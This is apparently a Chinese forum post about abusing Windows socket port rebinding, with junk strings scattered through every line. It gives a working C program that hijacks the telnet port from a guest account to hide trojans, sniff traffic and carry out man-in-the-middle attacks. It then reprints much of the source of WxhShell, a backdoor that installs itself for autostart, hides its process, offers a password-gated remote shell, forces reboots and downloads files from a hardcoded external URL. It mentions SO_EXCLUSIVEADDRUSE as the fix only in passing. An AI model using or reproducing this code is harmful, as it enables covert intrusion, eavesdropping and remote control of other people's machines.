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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: +vV?[e  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 9c5DEq  
i.FdZN{  
  saddr.sin_family = AF_INET; !QME!c>*$  
DV*e.Y>  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); )U8=-_m  
5F]2.<i  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); b/E3Kse?  
|F qujZz  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 SxkY ;^-U  
a,n#E!zT?w  
  这意味着什么?意味着可以进行如下的攻击: wX <ov0?[  
.5A .[ZY)  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 R[QBFL<  
!?K#f?x<?  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)  DD[<J:6  
_!?a9  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 a?X@ D<.;  
c;n\HYk  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  \#C]|\  
r =]$>&  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 vSCJ xSt#e  
A3J=,aRI_v  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 w 5t|C>  
yEkwdx5!(  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 e=_Ng j)  
_Y)Wi[  
  #include {.Brh"yC  
  #include I(z16wQ  
  #include 7IrH(~Fo  
  #include    oS<*\!&D  
  DWORD WINAPI ClientThread(LPVOID lpParam);   U@53VmrOy  
  int main() Sb}=j;F  
  { AH:0h X6+  
  WORD wVersionRequested; 6yC4rX!a  
  DWORD ret; &QFc)QP{  
  WSADATA wsaData; &fE2zTz  
  BOOL val; *De'4r 2  
  SOCKADDR_IN saddr; m@",Zr `f=  
  SOCKADDR_IN scaddr; X]=8Oa  
  int err; WM ]eb, 8q  
  SOCKET s; \4O_@d`A  
  SOCKET sc; )kYDN_W  
  int caddsize; vX&W;&  
  HANDLE mt; .d?LRf  
  DWORD tid;   :*YnH&  
  wVersionRequested = MAKEWORD( 2, 2 ); 3KtJT&RuL  
  err = WSAStartup( wVersionRequested, &wsaData ); D J7U6{KLq  
  if ( err != 0 ) { |w5,%#AeO$  
  printf("error!WSAStartup failed!\n"); yl0;Jx?  
  return -1; dq0!.gBT2  
  } #K!"/,d@>J  
  saddr.sin_family = AF_INET; 7j88^59  
   $<3^( y  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 B`)bo}h  
,E"n7*6mr  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 2q*wYuc  
  saddr.sin_port = htons(23); fm!\**Q1  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) b Rr3:"=sE  
  { $weC '-n@  
  printf("error!socket failed!\n"); Y8N+v+V/  
  return -1; sD|}? 7  
  } ')Y1c O  
  val = TRUE; TIK'A<  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 )jh~jU?c@  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) !lBK!'0  
  { %D~Mij  
  printf("error!setsockopt failed!\n"); ZH~Wn#Wp  
  return -1; {BgJ=0g?  
  } #aiI]'  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; o'8nQ Tao  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 D  ,[yx='  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 LjIkZ'HuF  
s'bTP(wl9  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 9TwKd0AT$&  
  { Q 9E.AN  
  ret=GetLastError(); G,<l}(tEG  
  printf("error!bind failed!\n"); :}-?X\|\  
  return -1; {|B[[W\TN  
  } qw>vu7/z  
  listen(s,2); \jmZ t*c  
  while(1) oB~V~c}8x  
  { 9hh~u -8L  
  caddsize = sizeof(scaddr); <lLJf8OK  
  //接受连接请求 $?dQ^]<,  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); /)kx`G_  
  if(sc!=INVALID_SOCKET) IAmZ_2  
  { vVrM[0*c  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); upX@8WxR  
  if(mt==NULL) o\; hF3   
  { =LGSywWM9  
  printf("Thread Creat Failed!\n"); Bf6i{`!G  
  break; Ob}XeN(L3  
  } =;E0PB_w  
  } X8-x$07)  
  CloseHandle(mt); Uw!d;YQm  
  } B2a#:E,6  
  closesocket(s); >5?:iaq z  
  WSACleanup(); /lh1sHgD  
  return 0; 5G$ ,2i(  
  }   y7%SHYC p[  
  DWORD WINAPI ClientThread(LPVOID lpParam) E!BzE_|i  
  { hJD3G |E  
  SOCKET ss = (SOCKET)lpParam; W0Y ,3;0  
  SOCKET sc; l2}X\N&q  
  unsigned char buf[4096]; Yl:[b{Py  
  SOCKADDR_IN saddr; MvnQUZ  
  long num; j>uu3ADd2  
  DWORD val; wG9aX*(n  
  DWORD ret; vxLr034  
  //如果是隐藏端口应用的话,可以在此处加一些判断 +!!G0Zj/  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   xR|^{y9n  
  saddr.sin_family = AF_INET; K=nDC.  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ezCJq`b  
  saddr.sin_port = htons(23); Px Gw5:  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ewHs ]V+U  
  { dv+ZxP%g  
  printf("error!socket failed!\n"); SbzJeaZv  
  return -1; {$i>\)  
  } aM(#J7;  
  val = 100; A~lc`m-  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 41s\^'^&  
  { EtaKo}!A}  
  ret = GetLastError(); pek=!nZ  
  return -1; he:z9EG}  
  } RyG6_ G}  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) R5%CK_  
  { i3Bpim.  
  ret = GetLastError(); iyd$_CJz  
  return -1; LME&qKe5  
  } \E<Qi3W>*  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 6vR6=@(`>  
  { hITYBPqRO  
  printf("error!socket connect failed!\n"); o 9/,@Ri\5  
  closesocket(sc); ]8DTk!  
  closesocket(ss); _DT,iF*6  
  return -1; o3GkTn O  
  } 6M_:D  
  while(1) 5J|S6x\  
  { V$O6m|q  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 @ =~k[o  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 >u(^v@Ejf  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 }^$1<GT  
  num = recv(ss,buf,4096,0); FQ1B%u|  
  if(num>0) sgGA0af  
  send(sc,buf,num,0); |iX>hJSl  
  else if(num==0) saQs<1  
  break; EU%v |]  
  num = recv(sc,buf,4096,0); ]+3M\ ib  
  if(num>0) 9_iwikD  
  send(ss,buf,num,0); _*%K!%}l=  
  else if(num==0) {*TB }Xsr,  
  break; OuEcoIK  
  } REE .8_  
  closesocket(ss); <FBBR2  
  closesocket(sc); 2IRARZ,3  
  return 0 ; /|P{t{^WM  
  } F[yofR N  
58HA*w  
oYTLC@98}  
========================================================== v @0G^z|  
5[jS(1a`c  
下边附上一个代码,,WXhSHELL { +w.Z,D"  
tP*Kt'4W  
========================================================== N\B&|;-V  
rf4f'cUa  
#include "stdafx.h" 8tQL$CbO  
Ui (nMEon  
#include <stdio.h> aK;OzB)  
#include <string.h> G$V=\60a-  
#include <windows.h> iz^uj  
#include <winsock2.h> y$]<m+1  
#include <winsvc.h> J8r8#Zz  
#include <urlmon.h> nb=mY&q}~  
H@G$K@L  
#pragma comment (lib, "Ws2_32.lib") ,3T"fT-(  
#pragma comment (lib, "urlmon.lib") pC,[!>0g8  
-sKtT 9o  
#define MAX_USER   100 // 最大客户端连接数 1uj~/M  
#define BUF_SOCK   200 // sock buffer K;sC#9m  
#define KEY_BUFF   255 // 输入 buffer WA43}CyAe  
cxSHSv 1;  
#define REBOOT     0   // 重启 m!w|~ Rk  
#define SHUTDOWN   1   // 关机 d/OP+yzgZ  
wzju)qS  
#define DEF_PORT   5000 // 监听端口 ?Ce=h+l  
YCltS!k  
#define REG_LEN     16   // 注册表键长度 v"ORn5  
#define SVC_LEN     80   // NT服务名长度 K'J_AMBL  
%E&oe $[B  
// 从dll定义API 6JZ>&HA  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); v9* +@  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); WVpx  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); uuwJ-  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); kOD=H-vSi  
7AT8QC`u  
// wxhshell配置信息 aHuMm&  
struct WSCFG { Vlz\n  
  int ws_port;         // 监听端口 }vU/]0@,E  
  char ws_passstr[REG_LEN]; // 口令 4sQm"XgE  
  int ws_autoins;       // 安装标记, 1=yes 0=no bk<Rp84vL  
  char ws_regname[REG_LEN]; // 注册表键名 bH/4f93Nb  
  char ws_svcname[REG_LEN]; // 服务名 "kFH*I+v  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 !;*flr`/  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 EniV-Uj\D  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Pa Q lQ#  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Cfmd*,  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 0>SA90Q  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ( `bb1gz  
Sxc)~y  
}; T})q/oUqK  
uCB9;+ Hjw  
// default Wxhshell configuration CqC )H7A  
struct WSCFG wscfg={DEF_PORT, P8X9bW~GQ  
    "xuhuanlingzhe", o"BED! /  
    1, _`;KmD&5  
    "Wxhshell", m0ra  
    "Wxhshell", o[_,r]%+D  
            "WxhShell Service", |=YK2};  
    "Wrsky Windows CmdShell Service", \MRd4vufv  
    "Please Input Your Password: ", jXf@JxQ  
  1, K1J |\!o  
  "http://www.wrsky.com/wxhshell.exe", zCo$YP#5_  
  "Wxhshell.exe" vFdI?(c-  
    }; iZfZF  
1T|")D  
// 消息定义模块 pp(09y`]  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Pv2uZH(  
char *msg_ws_prompt="\n\r? for help\n\r#>"; v.8kGF  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; U"8Hw@  
char *msg_ws_ext="\n\rExit."; MF'Z?M  
char *msg_ws_end="\n\rQuit."; aQL0Sj:,  
char *msg_ws_boot="\n\rReboot..."; ;E 9o%f:o  
char *msg_ws_poff="\n\rShutdown..."; Mo N/?VA  
char *msg_ws_down="\n\rSave to "; )-5eIy  
~L<"]V+B  
char *msg_ws_err="\n\rErr!"; 5`fUR/|[  
char *msg_ws_ok="\n\rOK!"; bR"4:b>K  
QAxy?m,'  
char ExeFile[MAX_PATH]; Nm&'&L%Ch  
int nUser = 0; }[z7V  
HANDLE handles[MAX_USER]; Xykoq"dbb  
int OsIsNt; PUO7Z2  
"Y:>^F;  
SERVICE_STATUS       serviceStatus; iYT?6Y|+  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; b`+yNf  
)=}qAVO8  
// 函数声明 uVD^X*  
int Install(void); [n/c7Pe  
int Uninstall(void); w=_^n]`R  
int DownloadFile(char *sURL, SOCKET wsh); "!P h  
int Boot(int flag); b(|&e  
void HideProc(void); h@O\j&#  
int GetOsVer(void);  YC 6guy>  
int Wxhshell(SOCKET wsl); P^F3,'N  
void TalkWithClient(void *cs); d.w]\  
int CmdShell(SOCKET sock); Mn&_R{{=  
int StartFromService(void); JL#LCU ?  
int StartWxhshell(LPSTR lpCmdLine); ;\A_-a_(#  
6;Z`9PGp  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); I$sXbM;z=  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); FY Flh^}  
V Zbn@1  
// 数据结构和表定义 O&/n BHu\  
SERVICE_TABLE_ENTRY DispatchTable[] = }[|9vF"g.y  
{ *ezMS   
{wscfg.ws_svcname, NTServiceMain}, IfB .2e`  
{NULL, NULL} kdGq\k,  
}; l*hWws[  
?QF xds  
// 自我安装 T$0)un  
int Install(void) MXl_{8  
{ e}{#VB<  
  char svExeFile[MAX_PATH]; b 4^O=  
  HKEY key; s% R,]q  
  strcpy(svExeFile,ExeFile); Ms5qQ<0v_  
S)ipkuj X  
// 如果是win9x系统,修改注册表设为自启动 w6> P[oW  
if(!OsIsNt) { cX1?4e8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { pFMjfWD,C  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 1(T2:N(M-A  
  RegCloseKey(key); w2b(,w  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0s//&'*Q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); v9@_ DlV\  
  RegCloseKey(key); >3b< Fq$  
  return 0; #'f5owk>,  
    }  ZaaBg  
  } sd+_NtH  
} W.{+0xx  
else { rkWy3X{%2<  
T[e+iv<8j  
// 如果是NT以上系统,安装为系统服务 }@ U}c6/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); $D65&R  
if (schSCManager!=0) rIB./,  
{ POl-S<QV  
  SC_HANDLE schService = CreateService )Z4iM;4]  
  ( (  -q0!]E  
  schSCManager, _-{=Z=?6}  
  wscfg.ws_svcname,  y"Fu=  
  wscfg.ws_svcdisp, dzbbFvG  
  SERVICE_ALL_ACCESS, njJTEUd">  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Cz5U  
  SERVICE_AUTO_START, DsxNg  
  SERVICE_ERROR_NORMAL, ncUhCp?'  
  svExeFile, ?r)>SB3(e  
  NULL, 9i_@3OVl  
  NULL, Z?[ R;V1j  
  NULL, O+'k4  
  NULL, YsCY~e&  
  NULL %kkDitmI{  
  ); nzAySMD_  
  if (schService!=0) vnbY^ASdw  
  { )~$ejS  
  CloseServiceHandle(schService); )iIsnM  
  CloseServiceHandle(schSCManager); l(3PxbT  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ,f ?B((l  
  strcat(svExeFile,wscfg.ws_svcname); =kq<J-:#R  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 4\V/A+<W  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); @pJ;L1sn  
  RegCloseKey(key); AGwdM-$iT  
  return 0; ^f(El(w  
    } VJ&-Z |  
  } i 28TH Jh  
  CloseServiceHandle(schSCManager); n sN n>{  
} / a}N6KUi  
} g[ @Q iy  
d[;&2Jz*  
return 1; h6`VU`pPI  
} )P+<=8@a  
HmsXV_B8[Y  
// 自我卸载 3$_- 0>  
int Uninstall(void) m\=Cw&(  
{ XTb .cqOC  
  HKEY key; 3-0jxx(  
#~|esr/wf  
if(!OsIsNt) { YWANBM(v+  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Hp(41Eb,  
  RegDeleteValue(key,wscfg.ws_regname); VqOTrB1w/  
  RegCloseKey(key); m60hTJ?N)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { g'-hSV/@}@  
  RegDeleteValue(key,wscfg.ws_regname); S =sL:FC  
  RegCloseKey(key); i MS4<`  
  return 0; ']X0g{%  
  } NfCo)C-t  
} 6UPGE",u  
} jfa<32`0E  
else { q}"HxMJ  
vL;=qk TCQ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); KWw?W1H  
if (schSCManager!=0) 4]cr1K ^  
{ yzG BGC  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); s"wz !{G4  
  if (schService!=0) U!lWP#m  
  { dTU`@!f  
  if(DeleteService(schService)!=0) { y<yU5  
  CloseServiceHandle(schService); /w*HxtwFmD  
  CloseServiceHandle(schSCManager); w/fiNY5FZ  
  return 0; C*Y0GfW=  
  } m O0#xY_z  
  CloseServiceHandle(schService); 8PRB_ny  
  } *+ O  
  CloseServiceHandle(schSCManager); uKT\\1Jrq  
} d\ Xijy  
} MG,?,1_ &  
4?x$O{D5?{  
return 1; '&y+,2?;Y[  
}  8U-<Q>  
?d)eri8,  
// 从指定url下载文件 %bTXu1  
int DownloadFile(char *sURL, SOCKET wsh) q0_Pl*  
{ yjChnp Cc  
  HRESULT hr; 8qq'q"g  
char seps[]= "/"; &<5oDdC  
char *token; {/qq*0wa  
char *file; {y>Kcfc/?E  
char myURL[MAX_PATH]; I9 jzR~T  
char myFILE[MAX_PATH]; Rd+ `b  
'n!Sco)C  
strcpy(myURL,sURL); _ 3jY,*  
  token=strtok(myURL,seps); G^w:c]  
  while(token!=NULL) ,09d"7`X  
  { sHMZ'9b  
    file=token; +q~dS.  
  token=strtok(NULL,seps); AkV8}>G?#A  
  } 4p/d>DTiM  
nnnq6Z}  
GetCurrentDirectory(MAX_PATH,myFILE); 7cT ~u  
strcat(myFILE, "\\"); JVNp= ikK  
strcat(myFILE, file); +C9 l7 q  
  send(wsh,myFILE,strlen(myFILE),0); 5!d'RBO   
send(wsh,"...",3,0); g h&,U`  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); UxVxnJ_  
  if(hr==S_OK) 5 ]@"f/  
return 0; R;2 Z~P  
else LD)P. f  
return 1; p3{ 3[fDx  
I>3]VR i  
} U>kL|X3 V  
%$SO9PY  
// 系统电源模块 '"Y(2grP  
int Boot(int flag) zvnR'\A_  
{ #x5?RHX56  
  HANDLE hToken; =LMM]'no,  
  TOKEN_PRIVILEGES tkp; RL3G7;X  
=GSe$f?  
  if(OsIsNt) { Lkl ^ `  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); JQ]A"xTIa*  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); o@tc   
    tkp.PrivilegeCount = 1; q`^ T7  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; I Z{DR  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 16R0#Q/{+*  
if(flag==REBOOT) { +yo1&b R/  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) *b+ ~@o  
  return 0; I9;,qd%<T  
} ]<IK0  
else { HH94?&  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) JE.s?k  
  return 0; ky-9I<Z,,  
} wW+@3bPl  
  } 6E@qZvQ  
  else { 2VyJ  
if(flag==REBOOT) { j$Z:S~*  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) I&G"{Dl94  
  return 0; :J6lJ8w ?  
} |QB[f*y5  
else { A 2Rp  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) FA3YiX(-e  
  return 0; 8rY[Q(]  
} p?XVO#  
} 7S]<?>*  
#cy;((zuB  
return 1; U/l3C(bc!  
} o{?Rz3z  
qz6@'1  
// win9x进程隐藏模块 kx31g,cf]w  
void HideProc(void) Vx*O^cM  
{ 5Gw B1}q  
%29lDd(<  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); J_rb3  
  if ( hKernel != NULL ) * faG0le  
  { vkE a[7  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); r!e:sJAB.  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); {7Q)2NC  
    FreeLibrary(hKernel); ^M6R l0  
  } hxe X6  
K|sk]2.  
return; YgL{*XYAt  
} "cDMFu  
&ku.Q3xGs  
// 获取操作系统版本 PJ3M,2H1b.  
int GetOsVer(void) ^bG91"0A  
{ Jy?; <  
  OSVERSIONINFO winfo; <kOdd)X  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); *r(Qy0(  
  GetVersionEx(&winfo); 1'4?}0Dok  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 4U>g0  
  return 1; Ci(c`1av  
  else 92XG|CWX  
  return 0; O;+ sAt  
} ~$d(@T&  
i F \H  
// 客户端句柄模块 ]FEDAGu  
int Wxhshell(SOCKET wsl) Y^tUcBm\  
{ # 1 1<=3Yj  
  SOCKET wsh; M$s9   
  struct sockaddr_in client; UM2yv6:/  
  DWORD myID; ~S\8 '  
08+\fT [  
  while(nUser<MAX_USER) qSt\ 6~  
{ vj9'5]!~q  
  int nSize=sizeof(client); liMw(F2  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); NMS+'GRW  
  if(wsh==INVALID_SOCKET) return 1; 3_8W5J3I  
Pkv+^[(4  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 6O_l;A[=1  
if(handles[nUser]==0) wLzV#8>  
  closesocket(wsh); 3L36 2  
else 0?cJ>)N  
  nUser++; CB#B!;I8v  
  } W ", yq|  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); (/FG#D.  
9/_~YY=/h  
  return 0; (|>rDk;  
} rv`GOta*  
9N<=,!;5~s  
// 关闭 socket a"`> J!  
void CloseIt(SOCKET wsh) `O5427Im  
{ |w+ O.%=  
closesocket(wsh); V"B/4v>  
nUser--; f!H/X%F  
ExitThread(0);  !# zO%  
} AiB]A}  
B#?rW*yEe  
// 客户端请求句柄 t)= dKC  
void TalkWithClient(void *cs) q\-P/aN_  
{ 'j-U=2,n  
[ . }Uzx  
  SOCKET wsh=(SOCKET)cs; ;/t~MH  
  char pwd[SVC_LEN]; v!$:t<-5N  
  char cmd[KEY_BUFF]; ZtmaV27s/  
char chr[1]; "l hj1zZ  
int i,j; &;~?\>?I  
3.1%L"r[)  
  while (nUser < MAX_USER) { v^)B [e!  
$N Mu  
if(wscfg.ws_passstr) { s4QCun~m  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); r*dNta<  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #d06wYz=  
  //ZeroMemory(pwd,KEY_BUFF); _8!x  
      i=0; hC9EL= A  
  while(i<SVC_LEN) { @biU@[D  
CRD=7\0(D+  
  // 设置超时 | KY-kRN7  
  fd_set FdRead; g5RH:]DV  
  struct timeval TimeOut; gVe]?Jva`  
  FD_ZERO(&FdRead); )8oN$2 0  
  FD_SET(wsh,&FdRead); bWSc&/ 9y  
  TimeOut.tv_sec=8; R7K`9 c1f6  
  TimeOut.tv_usec=0; ^d@2Y0hH  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); $VB dd~f  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); v~yw-}fk%  
lHDZfwJ&C1  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1)jea wVmj  
  pwd=chr[0]; h"/'H)G7_&  
  if(chr[0]==0xd || chr[0]==0xa) { ijUu{PG`X  
  pwd=0; 4HR36=E6  
  break; @56*r@4:q  
  } ];"40/X  
  i++; G+Bk!o  
    } 2g~ @99`  
9D Nd} rXO  
  // 如果是非法用户,关闭 socket Kn<+Au_]L  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ck%YEMs  
} TOF V`7q;3  
B-$?5Ft!  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); e9 @{[  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (z.n9lkfi  
MBU|<tc  
while(1) { 8|<</v8i  
4(VV@:_%  
  ZeroMemory(cmd,KEY_BUFF); 1G.?Y3DC<  
l U8pX$  
      // 自动支持客户端 telnet标准   L6DYunh}^N  
  j=0; U#]J5'i  
  while(j<KEY_BUFF) { 1G"ohosmF  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); EI7n|X a1q  
  cmd[j]=chr[0]; ]z5hTY  
  if(chr[0]==0xa || chr[0]==0xd) { !LM`2|3$  
  cmd[j]=0; ]1XtV<  
  break; X7AxI\h  
  } 4}k@p>5v'  
  j++; 71Za!3+  
    } XzSl"UPYH  
U._fb=  
  // 下载文件 :r ~iFP*  
  if(strstr(cmd,"http://")) { :" Otsb7  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); *~shvtq  
  if(DownloadFile(cmd,wsh)) 'I+S5![<  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7<*0fy5nn  
  else h@\-]zN{  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R`E:`t4G  
  } [5!}+8]W  
  else { j6RV{Lkr_  
IN<nZ?D#  
    switch(cmd[0]) { pe0ax- Zv  
  ZS4dW_*[  
  // 帮助 o$l8"Uv  
  case '?': { A[^#8evaK  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0);  nOd;Zw  
    break; q~ Z UtF  
  } cW_wIy\]&  
  // 安装 utuWFAGn A  
  case 'i': { }2LWDQ;po  
    if(Install()) 1fMV$T==K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4'*-[TKC  
    else ,b -  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W_E^+Wl@  
    break; e)B1)c8s  
    } gC(S(osF  
  // 卸载 =pi,]m  
  case 'r': { I&#:/|{:5  
    if(Uninstall()) *EvW: <  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~cSXBc,+  
    else h)ZqZ'k$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); nRB3VsL  
    break; ]r3/hDRDL@  
    } YW6a?f^!  
  // 显示 wxhshell 所在路径 4-SU\_  
  case 'p': { W)bSLD   
    char svExeFile[MAX_PATH]; .=Oww  
    strcpy(svExeFile,"\n\r"); B!,&{[D  
      strcat(svExeFile,ExeFile); f~\H|E8(  
        send(wsh,svExeFile,strlen(svExeFile),0); "5<!   
    break; Qt {){uE  
    } i6k6l%  
  // 重启 au+Jz_$)  
  case 'b': { O2ktqAWx@  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); *(1 <J2j  
    if(Boot(REBOOT)) y[85eM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ; 8DtnnE  
    else { "Y L^j~A  
    closesocket(wsh); $Z]@N nA9N  
    ExitThread(0); ,)*[Xa_n  
    } JD0s0>q_  
    break; 1c#\CO1l  
    } LKcp.i  
  // 关机 )'f=!'X  
  case 'd': { qx1Js3%  
